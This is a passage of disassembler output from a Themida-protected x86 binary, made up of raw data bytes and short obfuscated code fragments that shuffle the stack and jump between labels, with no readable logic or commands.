dd 35E9C101h, 8900000Eh, 0B2522404h, 0E951661Ch, 0FFFF3DCEh
dd 78E4E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ED6E: ; CODE XREF: Themida_:00545542j
push ecx
mov ecx, 5E716EF8h
jmp loc_5566C1
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0FE8E4EBAh, 0C2EE81DDh, 81202A02h, 5B0E1BC6h, 81D62919h
dd 5B0E1BEEh, 0C2C68119h, 0FF202A02h, 505A2434h, 0FF680EE9h
dd 2474FFFFh, 48F5804h, 24248B24h, 240C8B66h, 705A68h
dd 8AF0E900h, 5954FFFFh, 0FFDB03E9h, 240481FFh, 16223BACh
dd 0ACEA815Ah, 5F16223Bh, 148BD629h, 4C48324h, 0FF4673E9h
dd 2C895CFFh, 5D32BD24h, 6EE90103h
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EDEF: ; CODE XREF: Themida_:00550A9Dj
mov ebx, esp
jmp loc_557AE3
; ---------------------------------------------------------------------------
loc_54EDF6: ; CODE XREF: Themida_:00548318j
xor edi, [esp]
jmp loc_5441FC
; ---------------------------------------------------------------------------
dw 38B8h
dd 810A934Fh, 0E5E94C1h, 68C1013Ch, 7BDBh, 0FF7196E9h
dd 4C481FFh, 83000000h, 48904ECh, 50585324h, 0FF9CE2E9h
dd 815F58FFh, 0F31FCFC5h, 7E5CE9A9h, 3487FFFFh, 24248B24h
dd 8904EC83h, 0E0892404h, 4BD55h, 0E8010000h, 45F1E95Dh
dd 0CB800000h, 86E380BDh, 0FE9ECB80h, 0B4C380C3h, 2C5BD828h
dd 66D8002Fh, 2FB151h, 0C8B66C8h, 2C48324h, 34FF5304h
dd 21E95B24h
db 4Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EE7F: ; CODE XREF: Themida_:0054A4B7j
pop eax
push 393Fh
mov [esp], edx
mov edx, 654A4824h
jmp loc_543B51
; ---------------------------------------------------------------------------
dw 8966h
dd 0FF66242Ch, 0E9022474h, 0FFFF9413h
; ---------------------------------------------------------------------------
loc_54EEA0: ; CODE XREF: Themida_:005515F3j
mov esi, esp
add esi, 4
push 72E8h
jmp loc_5444E6
; ---------------------------------------------------------------------------
dw 0E3C1h
dd 0C3814302h, 7911FE60h, 5035E9h, 24248B00h, 0B0240489h
dd 24282C21h, 7E0C040h, 48B15166h, 5966C800h, 8058C588h
dd 0D5F68DE5h, 5005EDC0h, 2DCBE9h, 0E9E18900h, 0FFFFED52h
dd 4C281h, 0C2810000h, 4, 31241433h, 14332414h, 24248B24h
dd 0FF64D7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EF0D: ; CODE XREF: Themida_:005519A1j
sub esi, eax
sub esi, 7FE37045h
pop eax
xchg esi, [esp]
pop esp
mov [esp], ecx
push edx
mov dh, 85h
mov cl, 0D2h
sub cl, dh
pop edx
mov al, cl
pop ecx
jmp loc_54C1C4
; ---------------------------------------------------------------------------
loc_54EF2D: ; CODE XREF: Themida_:0054B476j
pop eax
pop ebx
sub dword ptr [esp], 0AE37929h
sub dword ptr [esp], 1EBD0DFAh
jmp loc_545C47
; ---------------------------------------------------------------------------
loc_54EF42: ; CODE XREF: Themida_:00552D94j
mov esi, ecx
pop ecx
xor esi, 63FA7215h
not esi
add esi, 23672570h
jmp loc_54F0D8
; ---------------------------------------------------------------------------
dd 677EEB81h, 34FF20B7h, 0C4835824h, 0C6EA8104h, 81204F44h
dd 0C274C4EAh, 81DA012Fh, 0C274C4C2h, 0C6C2812Fh, 5B204F44h
dd 52CDE9h, 24348900h, 0C6815E54h, 4, 0BB535250h, 51344F83h
dd 0E904EBC1h, 0FFFF9B54h, 0B753C4FEh, 5B83E929h, 0C281FFFFh
dd 4, 8704EA83h, 895C2414h, 55E9242Ch, 83FFFFFDh, 0D82104C4h
dd 1C77FF5Bh, 68240C8Bh, 6440h, 54240489h, 7D11E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EFDA: ; CODE XREF: Themida_:0054A741j
push ebp
mov ebp, 38A7394Dh
xor ebp, 2856D57h
sub ebx, ebp
pop ebp
inc ebx
xor ebx, 52C2859Bh
add esi, ebx
pop ebx
add esi, edx
jmp loc_5546B1
; ---------------------------------------------------------------------------
loc_54EFFA: ; CODE XREF: Themida_:00544697j
mov ecx, 67A9296Bh
mov ebx, 412F2E2Ah
xor ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_552742
; ---------------------------------------------------------------------------
loc_54F014: ; CODE XREF: Themida_:005463E9j
xchg ebp, [esp]
pop esp
jmp loc_54D68A
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
aUrhkg db 'URhªG',0
dw 8900h
dd 5568241Ch, 0E9000058h, 0FFFF996Ch, 81242C8Bh, 4C4h
dd 4EC8300h, 55241C89h, 0EC7AE4BDh, 0DDF74D69h, 851FB850h
dd 0C5319613h, 0FFA327E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F059: ; CODE XREF: Themida_:00547011j
xor edi, 57EB1602h
mov ebx, edi
pop edi
shr ebx, 1
push eax
mov eax, 718F3160h
sub ebx, eax
pop eax
push ecx
jmp loc_54AE38
; ---------------------------------------------------------------------------
db 21h
dd 24048BC3h, 29DE9h, 241C3300h, 0E924248Bh, 0FFFFBBF0h
dd 8036EE80h, 0F50002C6h, 0FF7D5BE9h, 0E9EE87FFh, 2ADh
; ---------------------------------------------------------------------------
loc_54F09C: ; CODE XREF: Themida_:00551013j
xor ebp, 5742CEDh
jmp loc_55150B
; ---------------------------------------------------------------------------
db 33h
dd 34312434h, 24343324h, 0E924248Bh, 0FFFFED11h, 8124048Bh
dd 4C4h, 0FFF03000h, 0E95A2434h, 5508h, 42474FFh, 0E924148Bh
dd 3E60h
; ---------------------------------------------------------------------------
loc_54F0D8: ; CODE XREF: Themida_:0054EF53j
add esi, 0DE2ECDB1h
xor ecx, esi
pop esi
push ebp
mov ebp, ecx
mov edx, ebp
pop ebp
mov ecx, [esp]
add esp, 4
loc_54F0ED: ; CODE XREF: Themida_:loc_54298Ej
; Themida_:005540B7j
push edx
push esp
jmp loc_549731
; ---------------------------------------------------------------------------
dd 1382C681h, 0F3893E9Eh, 0F9A1BD5Eh, 0DD01369Ah, 0DDF7455Bh
dd 2B97BF57h, 0BE562B2Ch, 717E1D29h, 13F6ED81h, 45E95D2Ch
dd 0B5000049h, 73B65295h, 148BF530h, 0E6895624h, 0E6685055h
dd 584D8848h, 0F1504F2Dh, 2E78E901h, 39BB0000h, 0E9776119h
dd 61A1h
; ---------------------------------------------------------------------------
loc_54F148: ; CODE XREF: Themida_:00548F2Dj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5458FA
; ---------------------------------------------------------------------------
loc_54F15F: ; CODE XREF: Themida_:00551B25j
mov esi, 4
jmp loc_546195
; ---------------------------------------------------------------------------
db 0BEh, 96h, 66h
dd 0EEC135E7h, 0FF7EE905h, 489FFFFh, 7CF1E924h, 0CCB90000h
dd 0E93F4506h, 0FFFF9FD0h, 61E268h, 243C8900h, 8B2414F7h
dd 0C483243Ch, 8B85004h, 0C1530160h, 0F80D08E0h, 0C16C3047h
dd 4E6803E0h, 8900003Ah, 0FDBA2414h, 0E97A903Ah, 0FFFFA140h
dd 0E924248Bh, 5247h, 4C381h, 0EB810000h, 4, 0E9241C33h
dd 0FFFFE119h, 22B65266h, 0FF5495E9h, 2434FFFFh, 7B13685Eh
dd 2BE90000h, 81FFFF6Ch, 7AB74C6h, 8BF309AAh, 0C4832434h
dd 97DAE904h, 0F801FFFFh, 1216BD2Dh, 0BF575F4Eh, 0FFFFFFFFh
dd 2C2F452Dh, 0E190E913h, 8B66FFFFh, 8351240Ch, 6BE904ECh
dd 0BF000067h, 5810285Dh, 380FBA52h, 0D7296F55h, 9219E95Ah
dd 0C283FFFFh, 3719E904h, 1E68FFFFh, 5A30141Fh, 0D731EA81h
dd 0D1892D97h, 13F4E9h, 2CFE0500h, 34FF58C4h, 89565924h
dd 0EEC3E9E6h, 0C15EFFFFh, 0CE8105E6h, 2B1858CEh, 53CDBA52h
dd 0D6293132h, 0E9F5895Ah, 0FFFF5CBBh
; ---------------------------------------------------------------------------
loc_54F280: ; CODE XREF: Themida_:0054CB9Aj
mov ebx, [esp]
jmp loc_556F81
; ---------------------------------------------------------------------------
dd 9C241CF7h, 0FF347BE9h, 6FE95DFFh, 8B00001Ah, 0EC832404h
dd 242C8904h, 0C5815D54h, 4, 4BF57h, 50E90000h
db 6Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F2B3: ; CODE XREF: Themida_:0054B3CCj
shr ch, 1
shl ch, 1
dec ch
shr ch, 4
jmp loc_550B02
; ---------------------------------------------------------------------------
db 81h, 0F2h, 88h
dd 0F7268739h, 0C3CCE9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F2CE: ; CODE XREF: Themida_:00553F4Ej
mov ecx, 4C611575h
xor esi, ecx
pop ecx
push edi
mov edi, 55F720C5h
xor esi, edi
pop edi
or esi, 20414E67h
dec esi
xor esi, 458C4B38h
sub ecx, esi
pop esi
shl ecx, 4
jmp loc_553382
; ---------------------------------------------------------------------------
loc_54F2F7: ; CODE XREF: Themida_:005521B1j
mov edx, [esp]
push 4E77h
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
jmp loc_5438E8
; ---------------------------------------------------------------------------
dw 8953h
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 5224248Bh, 0E3BF9CBAh
dd 8BD33112h, 0C4812414h, 4, 0DD895552h, 0FF4E15E9h, 31F031FFh
dd 57F031C6h, 0A9031BBFh, 1ABA5252h, 2952A903h, 0BD055AD7h
dd 0E94E1216h, 0FFFFFE9Ah
; ---------------------------------------------------------------------------
loc_54F368: ; CODE XREF: Themida_:005541A9j
sub esp, 4
mov [esp], ebx
not dword ptr [esp]
mov ebx, [esp]
add esp, 4
add ebx, 69FB8AF6h
push ebx
sub dword ptr [esp], 3322205Fh
pop ecx
add ecx, 3322205Fh
pop ebx
inc ecx
jmp loc_54FDD4
; ---------------------------------------------------------------------------
dw 0B450h
dd 0E9E788ABh, 78F9h
; ---------------------------------------------------------------------------
loc_54F3A0: ; CODE XREF: Themida_:00552906j
mov bp, 8D9h
add bx, bp
jmp loc_546C63
; ---------------------------------------------------------------------------
loc_54F3AC: ; CODE XREF: Themida_:0054C1FEj
add eax, 4
sub eax, 4
jmp loc_543BD2
; ---------------------------------------------------------------------------
db 1
dd 2434FFD0h, 3E68575Ah, 8900006Ch, 4812424h, 424h, 0BE565F00h
dd 710E70B0h, 0C67E9h, 332AE900h, 0BF57FFFFh, 44FC7672h
dd 0DF17172Dh, 5F80103h, 3DF1717h, 2DE8015Fh, 44FC7672h
dd 0FF5226E9h, 0DDF759FFh, 0DB84E951h, 815BFFFFh, 4ECh
dd 24348900h, 176FBB53h, 0DE895553h, 42E9E9h, 81D6F700h
dd 0DD412BC6h, 0DDC68173h, 8155175Ch, 0FD175BEEh, 0D7AFE926h
dd 0EA80FFFFh, 0CDC2809Dh, 7FFAE958h, 585BFFFFh, 0EF6E9h
dd 240C8B00h, 0FF4B9FE9h, 85E947FFh
db 82h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F45B: ; CODE XREF: Themida_:0054431Cj
mov [esp], eax
mov eax, 4
add edx, 0D1A68C9h
sub edx, eax
sub edx, 0D1A68C9h
mov eax, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_54835B
; ---------------------------------------------------------------------------
db 0F7h, 0DBh, 43h
dd 0EB81D3F7h, 3D37C9F2h, 7EB8E9h, 3272E900h, 55AFFFFh
dd 73E72431h, 0F40A5B05h, 0C9BA5208h, 5222D75Bh, 5A2414F7h
dd 3329E957h, 6C810000h, 425D0824h, 0B85016D6h, 6F329E9h
dd 0C244429h, 246C8158h, 2B2ABD08h, 2E95B6Ch, 8BFFFFECh
dd 0C4812424h, 4, 2F09E9h
db 0
; ---------------------------------------------------------------------------
loc_54F4E5: ; CODE XREF: Themida_:0055457Ej
add ebp, edx
pop edx
add ebp, 4133481Ch
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_54BCDC
; ---------------------------------------------------------------------------
dw 0ECC0h
dd 8AC48006h, 0F6EECC80h, 0AC480DCh, 0FF8F3FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F50D: ; CODE XREF: Themida_:0055283Aj
sub edx, esi
pop esi
sub edx, 0E34F5B1Ch
add esi, edx
mov edx, [esp]
add esp, 4
or edi, esi
pop esi
push 4D81h
mov [esp], ecx
mov ecx, 5BF80AD7h
dec ecx
push ebx
mov ebx, 1
jmp loc_55266B
; ---------------------------------------------------------------------------
aMsQ db '¬éÊq',0
dw 8B00h
dd 0C481243Ch, 4, 4C581h, 2C330000h, 242C3124h, 0E9242C33h
dd 0FFFFAF8Eh, 8DC0B60Fh, 61688704h, 0E900001Eh, 4D77h
; ---------------------------------------------------------------------------
loc_54F570: ; CODE XREF: Themida_:00549B4Cj
push ebx
mov ebx, 1BBE7A5Eh
jmp loc_549463
; ---------------------------------------------------------------------------
db 0FFh
dd 669D1C77h, 4116658h, 81E99C24h, 56FFFF31h, 0A3DFF0BEh
dd 5EF531D8h, 0E95DE801h, 7625h
; ---------------------------------------------------------------------------
loc_54F59C: ; CODE XREF: Themida_:0054B898j
sub bl, 0B5h
add bl, dh
add bl, 0B5h
sub bl, 6Bh
mov edx, [esp]
jmp loc_545087
; ---------------------------------------------------------------------------
loc_54F5AF: ; CODE XREF: Themida_:0054A977j
mov eax, edx
pop edx
add eax, edi
jmp loc_54FD23
; ---------------------------------------------------------------------------
loc_54F5B9: ; CODE XREF: Themida_:0054EA71j
and ecx, ebx
push dword ptr [esp]
jmp loc_5449DC
; ---------------------------------------------------------------------------
db 81h
dd 9941AAEBh, 0B0EB8150h, 0FF054472h, 0BF6FE933h, 515DFFFFh
dd 0C181E189h, 4, 4C181h, 0C870000h, 24248B24h, 0E2D1C209h
dd 2EDB68h, 240C8900h, 60ACE9h
db 0
; ---------------------------------------------------------------------------
loc_54F5FD: ; CODE XREF: Themida_:0054A4E9j
shr edi, 1
jmp loc_556764
; ---------------------------------------------------------------------------
loc_54F604: ; CODE XREF: Themida_:00556A9Cj
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_550F18
; ---------------------------------------------------------------------------
db 66h
dd 5324048Bh, 3F93E9h, 2CDB3400h, 5AA8E9D4h, 2BAFFFFh
dd 1000000h, 0EBE6E9D6h, 77FFFFFFh, 19589D1Ch, 0E99C2404h
dd 3147h, 75A6F281h, 0F28178D9h, 39D5262Ah, 33DEEA81h
dd 0C2812ECEh, 0D8F00012h, 2954EF81h, 0D7014BFCh, 2954C781h
dd 0A0E94BFCh, 68FFFFC0h, 2, 371CE9h, 2EE95900h, 8000002Ch
dd 0E95BF8C1h, 656h, 0E924148Bh, 5208h, 0E680C6FEh, 0BDB753F5h
dd 0FE04E7C0h, 8E64E9C7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F6A6: ; CODE XREF: Themida_:00557348j
xor [esp], ecx
xor ecx, [esp]
pop esp
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_555F27
; ---------------------------------------------------------------------------
loc_54F6C1: ; CODE XREF: Themida_:00544E4Fj
shr ecx, 6
xor ecx, 7CAF3h
jmp loc_556C52
; ---------------------------------------------------------------------------
db 54h
dd 8124148Bh, 4C4h, 4EC8100h, 89000000h, 4BF243Ch, 1000000h
dd 243C8BFAh, 0E904C483h, 2233h
; ---------------------------------------------------------------------------
loc_54F6F4: ; CODE XREF: Themida_:005550C7j
push 784Fh
mov [esp], edx
mov dh, 50h
push ecx
jmp loc_54B3CA
; ---------------------------------------------------------------------------
dd 5024148Bh, 0FF4685E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F70D: ; CODE XREF: Themida_:00557252j
mov edx, 3BE826C6h
jmp loc_551FA1
; ---------------------------------------------------------------------------
db 31h
dd 0D7015EF2h, 5A2434FFh, 8104C483h, 4C7h, 8406E900h, 34FF0000h
dd 0EC835924h, 95DAE904h, 0CE29FFFFh, 0FF99C6E9h, 0BF5752FFh
dd 7FFD24B1h, 0B1A3D7BAh, 2496E9C3h, 0A8040000h, 0FFC54FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F759: ; CODE XREF: Themida_:00555E58j
jz loc_5572DA
push ebx
sub esp, 4
mov [esp], edx
jmp loc_54CC37
; ---------------------------------------------------------------------------
dw 47BEh
dd 816FF052h, 0F05243F6h, 352056Fh, 0F0010DF2h, 0F203522Dh
dd 4055E0Dh, 87000000h, 875C2404h, 4DE92434h, 2DFFFF37h
dd 66990CF1h, 9BE95357h
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F7A3: ; CODE XREF: Themida_:00543950j
pop edx
push edi
push 4
jmp loc_5538AC
; ---------------------------------------------------------------------------
db 48h
dd 4AE7BB53h, 0E3C174CFh, 0A4E38104h, 0E9184C30h, 0FFFF53A5h
dd 0A4E9D3F7h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F7CB: ; CODE XREF: Themida_:0054ADEFj
push dword ptr [esp]
pop ecx
jmp loc_54AF6C
; ---------------------------------------------------------------------------
loc_54F7D4: ; CODE XREF: Themida_:00557AB4j
pop esi
jmp loc_555119
; ---------------------------------------------------------------------------
loc_54F7DA: ; CODE XREF: Themida_:00555A51j
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
push dword ptr [esp]
jmp loc_545E3A
; ---------------------------------------------------------------------------
db 89h
dd 0EC832404h, 642DE904h, 0E95D0000h, 3505h, 240C8B66h
dd 77EE68h, 24048900h, 4EC81h, 24890000h, 24048124h, 4
dd 5DB95158h, 5212481Ah, 7EA9E9h
db 0
; ---------------------------------------------------------------------------
loc_54F829: ; CODE XREF: Themida_:00547243j
pop esp
sub esi, 4F4F04AAh
add esi, ecx
add esi, 4F4F04AAh
pop ecx
xchg esi, [esp]
pop esp
add esp, 4
jmp loc_554DC6
; ---------------------------------------------------------------------------
loc_54F848: ; CODE XREF: Themida_:00545AB8j
add ch, 57h
sub esp, 4
mov [esp], ecx
not byte ptr [esp+1]
inc byte ptr [esp+1]
pop ecx
sub ch, 0E5h
xor al, ch
pop ecx
push 62A3h
mov [esp], ecx
mov cl, 73h
jmp loc_54C4BD
; ---------------------------------------------------------------------------
dw 805Ah
dd 0D9F6DEE1h, 0E94EB050h, 0FFFFB9C7h, 4C216B2Dh, 72510D3Dh
dd 792D531Dh, 89362578h, 0CD3158C1h, 0FF6126E9h, 0EF815EFFh
dd 0F7E37B99h, 3C8BFB01h, 5619E924h, 2BAFFFFh, 81000000h
dd 0EE5CBDEFh, 53D72926h, 0FFE8DAE9h, 747FBDFFh, 3DE97464h
dd 80FFFFD6h, 0C5FEFFEDh, 5837E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F8D2: ; CODE XREF: Themida_:0055428Dj
add edx, 34FE5E9Ch
add edx, ecx
jmp loc_554947
; ---------------------------------------------------------------------------
loc_54F8DF: ; CODE XREF: Themida_:00549E2Cj
mov edi, ebp
push edi
pop eax
mov edi, [esp]
jmp loc_545D36
; ---------------------------------------------------------------------------
loc_54F8EB: ; CODE XREF: Themida_:00545A50j
push edi
push dword ptr [esp+4]
jmp loc_546C48
; ---------------------------------------------------------------------------
loc_54F8F5: ; CODE XREF: Themida_:00555905j
push esp
pop edx
push edi
mov edi, 6C0B1C02h
jmp loc_54BE14
; ---------------------------------------------------------------------------
dw 4C29h
dd 81590824h, 4ECh, 24348900h, 387D77BEh, 2474011Eh, 348B5E08h
dd 4C48124h, 0FF000000h, 0E95B2434h, 72F0h, 2E78E953h
dd 28F0000h, 0FF2DD3E9h, 81E189FFh, 4C1h, 7B35E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F946: ; CODE XREF: Themida_:00557575j
sub ecx, 61BC7A41h
jmp loc_542DA1
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 9D671DB9h, 3B01E94Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F95E: ; CODE XREF: Themida_:00553AC7j
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_54270C
; ---------------------------------------------------------------------------
db 8Bh
dd 0FCE9240Ch, 35FFFFD6h, 6B4BBA84h, 40E9C101h
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F987: ; CODE XREF: Themida_:0054E01Bj
xor ebx, ecx
jmp loc_553ECC
; ---------------------------------------------------------------------------
dw 0FBBFh
dd 292D3F68h, 0B44CE9FAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F99A: ; CODE XREF: Themida_:00545909j
push 16AAh
mov [esp], ebx
jmp loc_551098
; ---------------------------------------------------------------------------
loc_54F9A7: ; CODE XREF: Themida_:005548CFj
mov esi, 4
sub ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
jmp loc_547D93
; ---------------------------------------------------------------------------
loc_54F9BA: ; CODE XREF: Themida_:005565D5j
sub esi, 4
push esi
push dword ptr [esp+4]
jmp loc_548C26
; ---------------------------------------------------------------------------
db 5Ah
dd 0EA41E950h, 0E801FFFFh, 1408BA52h, 11E93595h, 5FFFFF6Eh
dd 9693EE81h, 50E9B9B8h, 81FFFF30h, 4C4h, 240C8B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5499F8
; ---------------------------------------------------------------------------
dd 0E9E08950h, 0FFFF3E43h
; ---------------------------------------------------------------------------
loc_54FA10: ; CODE XREF: Themida_:0054AD99j
push esi
mov esi, 4D525D5Ch
mov edx, esi
pop esi
sub edx, 6A341E90h
and edx, 291409D7h
shl edx, 4
jmp loc_55448F
; ---------------------------------------------------------------------------
db 31h, 14h, 24h
dd 8B241433h, 8B662424h, 69682404h, 89000073h, 0E189240Ch
dd 8904EC83h, 53BB241Ch, 814B6718h, 0C35406CBh, 0C3BF5704h
dd 956F024h, 8012E9FBh, 2C89FFFFh, 8BB85024h, 55764045h
dd 0FF2E4BE9h, 240C89FFh, 0B8505954h, 741A0794h, 0C531E831h
dd 0DDF7E831h, 0E9D8F795h, 0FFFF7E1Ah, 0E97EB1B8h, 58C20128h
dd 0FF8FEAE9h, 0FFFFBEFFh, 4DE9FFFFh, 59000067h, 5E21F681h
dd 504E3804h, 2A522DB8h, 7208E9A6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FAB6: ; CODE XREF: Themida_:00551918j
add edx, edi
pop edi
push eax
mov eax, 4C644D54h
push ebx
mov ebx, 4C644D56h
xor eax, ebx
mov ebx, [esp]
add esp, 4
sub edx, 13C07F66h
jmp loc_547FB6
; ---------------------------------------------------------------------------
loc_54FADB: ; CODE XREF: Themida_:00557172j
add ecx, eax
sub ecx, 30E63D95h
add ecx, 2C564819h
mov eax, [esp]
add esp, 4
add ecx, 4
jmp loc_54B7DF
; ---------------------------------------------------------------------------
dw 487h
dd 0ABA5E924h, 4BDFFFFh, 81000000h, 3D3EA8C7h, 81EF2941h
dd 3D3EA8EFh, 3C335D41h, 243C3124h, 8B243C33h, 1C892424h
dd 4BB24h, 0D8010000h, 2BA525Bh, 5000000h, 1B075D64h, 642DD029h
dd 0FF1B075Dh, 148B2434h, 4C48324h, 4C481h, 77E90000h
dd 5E000074h, 0FF856EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FB59: ; CODE XREF: Themida_:0054B6FEj
add esp, 4
mov edx, esi
pop esi
and eax, edx
push dword ptr [esp]
mov edx, [esp]
push ebx
push esp
pop ebx
push edi
mov edi, 4D3F1706h
jmp loc_550199
; ---------------------------------------------------------------------------
dd 3505E8C1h, 0DD116BA9h, 48BC201h, 4C48124h, 0E9000000h
dd 0FFFFC0C7h, 1ABC181h, 8950405Fh, 15BF57E0h, 0E92A3073h
dd 0FFFFB5DCh, 0FF24248Bh, 0E99C2404h, 0FFFFF092h, 0EA2A92B8h
dd 7BD4E946h, 0F181FFFFh, 5F291DBEh, 0E959CD29h, 2BFAh
dd 60BCBB53h, 0EB8167A7h, 0FFFFFFFFh, 48B6BA52h, 2FE96203h
db 72h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FBDF: ; CODE XREF: Themida_:00554AABj
mov esi, 460010FEh
neg esi
or esi, 53265E15h
and esi, 553A1BA0h
dec esi
not esi
push 63F7h
mov [esp], edx
mov edx, 0AEC5DD00h
sub esi, 4520760h
sub esi, 7CF66DFEh
sub esi, edx
add esi, 7CF66DFEh
add esi, 4520760h
jmp loc_5547A2
; ---------------------------------------------------------------------------
db 81h, 0F6h, 0CEh
dd 29A16675h, 0E9535EF2h, 0FFFF8023h, 5B2434FFh, 81E28952h
dd 4C2h, 4BF5700h, 83000000h, 1C8904ECh, 43B6BB24h, 0DA010C7Bh
dd 81FA015Bh, 7B43B6EAh, 14875F0Ch
db 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_5523DE
; ---------------------------------------------------------------------------
loc_54FC72: ; CODE XREF: Themida_:005486FCj
push edx
mov edx, 1D0A0966h
neg edx
or edx, 2A710BC5h
jmp loc_553470
; ---------------------------------------------------------------------------
db 53h, 0E9h, 0Ch
dd 0FFFFFF91h, 669D1C77h, 14D36659h, 71E99C24h
db 2Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FC9B: ; CODE XREF: Themida_:0054AD22j
add al, 0A5h
sub al, dh
jmp loc_543AFD
; ---------------------------------------------------------------------------
loc_54FCA4: ; CODE XREF: Themida_:00548B06j
add edi, 59FA788Eh
mov ecx, edi
jmp loc_544647
; ---------------------------------------------------------------------------
db 81h, 0F5h, 1Ah
dd 11A7B64h, 0C6015DEEh, 27BDEE81h, 0C6811EFAh, 44353508h
dd 98BD5558h, 81552E14h, 8813BECDh, 5500E95Ch, 2C890000h
dd 3F84E924h, 0C8000000h, 592434FFh, 81E18951h, 4C1h, 4C18300h
dd 5C240C87h, 0E95DEB80h, 0FFFF3952h, 50158BBFh, 5FF82900h
dd 0BCE9C329h
db 33h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FD0F: ; CODE XREF: Themida_:00556ED6j
pop ecx
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push esi
jmp loc_5431FD
; ---------------------------------------------------------------------------
loc_54FD23: ; CODE XREF: Themida_:0054F5B4j
pop edi
add dword ptr [esp+4], 6E3961DDh
add [esp+4], eax
push eax
push 6E3961DDh
pop eax
jmp loc_54B3E9
; ---------------------------------------------------------------------------
loc_54FD3C: ; CODE XREF: Themida_:0054C049j
push esi
push esp
jmp loc_54337D
; ---------------------------------------------------------------------------
aSjt db ']é†T',0
db 0
; ---------------------------------------------------------------------------
loc_54FD49: ; CODE XREF: Themida_:0055063Cj
and ecx, ebp
push dword ptr [esp]
pop ebp
push 7CF6h
mov [esp], edx
mov edx, esp
push ecx
mov ecx, 25D532CAh
sub ecx, 25D532C6h
add edx, 43EE71D2h
jmp loc_556125
; ---------------------------------------------------------------------------
aGsK db 'Gé¼K',0
align 2
dw 66BBh
dd 29F998E0h, 0F8015BDFh, 55C8295Fh, 3A490ABDh, 6B70508h
dd 27E9052Fh, 5BFFFF9Bh, 5C24048Fh, 0F66E1F6h, 6866CCB6h
dd 89666931h, 0F66240Ch, 5166C8B6h, 295AE99Ch, 0C105FFFFh
dd 161E605h, 87E958C2h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FDBF: ; CODE XREF: Themida_:00550E9Dj
sub dword ptr [esp+4], 21760DF2h
sub dword ptr [esp+4], 6C20224Ah
jmp loc_5484D3
; ---------------------------------------------------------------------------
loc_54FDD4: ; CODE XREF: Themida_:0054F391j
sub ecx, 543D5A2Dh
or ecx, 1242329Eh
push 6CC6h
mov [esp], edi
mov edi, 0D80DB701h
sub ecx, edi
jmp loc_556A76
; ---------------------------------------------------------------------------
loc_54FDF4: ; CODE XREF: Themida_:00555B2Bj
pop eax
add edx, 4
xchg edx, [esp]
jmp loc_551290
; ---------------------------------------------------------------------------
dd 0C281F229h, 593B4674h, 3050C281h
db 0DEh, 76h, 5Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_54B5A3
; ---------------------------------------------------------------------------
loc_54FE20: ; CODE XREF: Themida_:0054AAC2j
push edi
push dword ptr [esp+4]
jmp loc_543609
; ---------------------------------------------------------------------------
dw 0C281h
dd 6F317975h, 164CE9h, 3DEA6800h, 3EE96B4Fh
db 3Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FE3F: ; CODE XREF: Themida_:0054E62Dj
sub bl, 98h
and cl, bl
jmp loc_549758
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 8124248Bh, 4C5h, 242C3300h, 33242C31h, 315C242Ch, 0CDE92404h
dd 21FFFF34h, 0E6C159CEh, 0A2E68107h, 81778C34h, 880FFCEEh
dd 40AFE901h, 0E951FFFFh, 0FFFF40B0h, 0C8B665Ch, 0D166824h
dd 34890000h, 50E68924h, 4B8h, 58C60100h, 5604EE83h, 42474FFh
dd 0E92434FFh, 0FFFF81E6h, 5585450h, 4, 42Dh, 24048700h
